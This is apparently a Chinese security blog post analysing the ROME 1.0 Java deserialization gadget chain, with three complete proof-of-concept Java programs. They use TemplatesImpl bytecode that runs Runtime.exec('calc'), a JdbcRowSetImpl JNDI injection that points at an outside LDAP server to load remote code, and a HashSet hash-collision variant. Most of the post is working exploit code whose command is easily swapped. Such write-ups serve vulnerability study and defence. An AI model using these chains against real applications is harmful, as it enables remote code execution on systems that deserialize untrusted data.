Rome反序列化
ROME 是一个关于 RSS 和 Atom 格式的 java 框架
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。
依赖
1
2
3
4
5
|
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
|
漏洞分析
直接根据yso上面的链子分析
1
2
3
4
5
6
7
8
9
10
11
12
|
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
|
直接看一手这个ToStringBean类

这里这个是有参的,无参那个方法会调用有参这个的,这里首先是调用BeanIntrospector.getPropertyDescriptors方法

拿到class调用getPDs方法

这里拿到class中所有的getter和setter方法之后返回了一个数组
回到前面,getReadMethod方法拿到返回数组中的getter方法,进行判断,不为空,不是Object.class的方法,而且无参就能进判断,调用invoke方法,也就是这里能调用任意getter了,很容易就想到TemplatesImpl.getOutputProperties()
再看这个EqualsBean类

这里能直接调用toString方法,所以直接调用ToStringBean的toString,再往上走,查看ObjectBean

但是EqualsBean类本身的hashCode方法就会调用beanhashcode方法

所以完全没必要进这个ObjectBean类
然后这个类还有一个beanEquals方法

跟前面那个toString实现类似,所以这里是有两条链可以打的,一个是ToStringBean链,一个是EqualsBean链
ToStringBean
由于这里用到hashmap,还是老问题,序列化的时候会调用put方法导致提前触发,所以这里ToStringBean要先传入空的transformer,这里没用cc依赖所以就没用constantTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class RomeToStringBean {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"0d00");
//反射修改ToStringBean的值回恶意templatesImpl
setFieldValue(toStringBean,"_obj",templatesImpl);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
同理把EqualsBean换成ObjectBean也是可以的,也就是换一行
1
|
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
|
HashTable
如果hashmap被ban,可以换成hashtable绕过

然后调用hashcode了

其实就是最后部分改一下
1
2
|
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"0d00");
|
JdbcRowSetImpl
把前面部分改成能jndi注入的就行,其实在看到进行bean操作的时候就想到能打jndi了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class RomeJNDI {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
JdbcRowSetImpl jrs = new JdbcRowSetImpl();
String url = "ldap://10.39.174.188:8085/UeVmNsCs";
jrs.setDataSourceName(url);
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,fakeTemplates);
// EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"0d00");
//反射修改ToStringBean的值回恶意templatesImpl
setFieldValue(toStringBean,"_obj",jrs);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashtable);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|

也是成功弹计算器
EqualsBean
要调用beanequals方法,用到hashmap的equals方法,这里联想到cc7哈希碰撞那里
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
public class RomeEqualsBean {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
HashMap fakeHashMap = new HashMap();
EqualsBean equalsBean = new EqualsBean(HashMap.class,fakeHashMap);
HashSet hashSet = new HashSet();
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ", fakeTemplates);
hashMap1.put("yy", equalsBean);
hashMap2.put("zZ", equalsBean);
hashMap2.put("yy", fakeTemplates);
hashSet.add(hashMap1);
hashSet.add(hashMap2);
setFieldValue(equalsBean,"_beanClass",Templates.class);
setFieldValue(equalsBean,"_obj",templatesImpl);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashSet);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|